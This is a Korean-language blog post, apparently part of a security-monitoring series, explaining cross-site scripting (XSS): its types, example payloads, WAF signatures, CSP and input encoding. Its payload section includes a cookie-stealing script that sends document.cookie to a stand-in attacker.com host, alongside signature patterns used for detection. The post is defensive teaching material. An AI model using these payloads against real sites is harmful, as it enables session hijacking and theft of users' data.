반응형
**XSS(Cross-Site Scripting)**를 SQL Injection처럼 실무 관점에서 정리해줄게.
웹 보안관제 담당자 기준으로 원리 → 예시 Payload → WAF/방어 방법까지 다 포함했어.
🔥 1. XSS(Cross-Site Scripting) 개념
정의:
XSS는 공격자가 악성 스크립트를 웹 페이지에 삽입해, 다른 사용자의 브라우저에서 실행되도록 만드는 공격이야.
쉽게 말하면:
- 공격자는 사용자가 보는 웹 페이지를 조작
- 브라우저에서 쿠키·세션·개인정보 탈취, 피싱, 악성 동작 수행 가능
🔹 2. XSS 공격 원리
[공격자] → [웹 애플리케이션 입력 필드] → [DB/페이지 저장] → [사용자 브라우저 실행]
- 사용자가 입력값 검증 없는 댓글, 검색, 게시판 등을 방문하면 스크립트 실행
- 피해자는 자신의 브라우저에서 악성 JS가 실행되는 것을 인지 못함
🔹 3. XSS 종류
종류특징예시
| Stored XSS (Persistent) | DB/서버에 악성 스크립트 저장 | 게시판, 댓글, 블로그 글 |
| Reflected XSS | URL/폼 입력값 그대로 반환 | 검색, 로그인 에러 메시지 |
| DOM-based XSS | 클라이언트 측 JS가 DOM을 잘못 처리 | JS에서 innerHTML로 사용자 입력 반영 |
🔹 4. 실무 Payload 예시
1) Alert 테스트
<script>alert('XSS')</script>
2) 쿠키 탈취
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
3) Reflected XSS
https://example.com/search?q=<script>alert('XSS')</script>
4) DOM-based XSS
document.getElementById('output').innerHTML = location.hash.substring(1)
🔹 5. WAF/보안관제 대응
1) 시그니처 기반 차단
- <script>
- onerror=
- javascript:
- eval(
- URL 인코딩 패턴 %3Cscript%3E
2) 입력값 필터링 / 인코딩
- HTML Encode / Escape < > ' " &
- Attribute, URL, JS 컨텍스트 별 인코딩 적용
3) Content Security Policy(CSP)
- 특정 도메인만 스크립트 로딩 허용
- inline script/unsafe-eval 제한
4) Reflected/Stored 감지
- 게시판, 검색, 입력 필드에서 공격 패턴 탐지
- 반복 공격 시 IP 차단
🔹 6. 개발 단계 방어
- 입력값 검증: 허용된 문자만 허용(Whitelist)
- 출력 시 Escape 처리: HTML, JS, URL Context
- JS 내 innerHTML, document.write 사용 최소화
- 라이브러리 사용: DOMPurify, OWASP ESAPI
// 예: DOMPurify 사용 let clean = DOMPurify.sanitize(userInput); document.getElementById('output').innerHTML = clean;
🎯 한 문장 요약
XSS = 공격자가 삽입한 악성 스크립트가 다른 사용자의 브라우저에서 실행되어 쿠키 탈취, 피싱, 악성 동작을 수행하는 공격이며, WAF 탐지와 입력값 검증, CSP 적용으로 방어 가능하다.
반응형
'2. 보안 > 2. 보안 관제' 카테고리의 다른 글
| [보안_GPT] File Upload Vulnerability 이란? (0) | 2025.11.14 |
|---|---|
| [보안_GPT] Command Injection 이란? (0) | 2025.11.14 |
| [보안_GPT] CSRF(Cross-Site Request Forgery)란? (0) | 2025.11.14 |
| [보안_GPT] SQL Injection이란? (0) | 2025.11.14 |
| [보안_GPT] 보안 관제란? (0) | 2025.11.14 |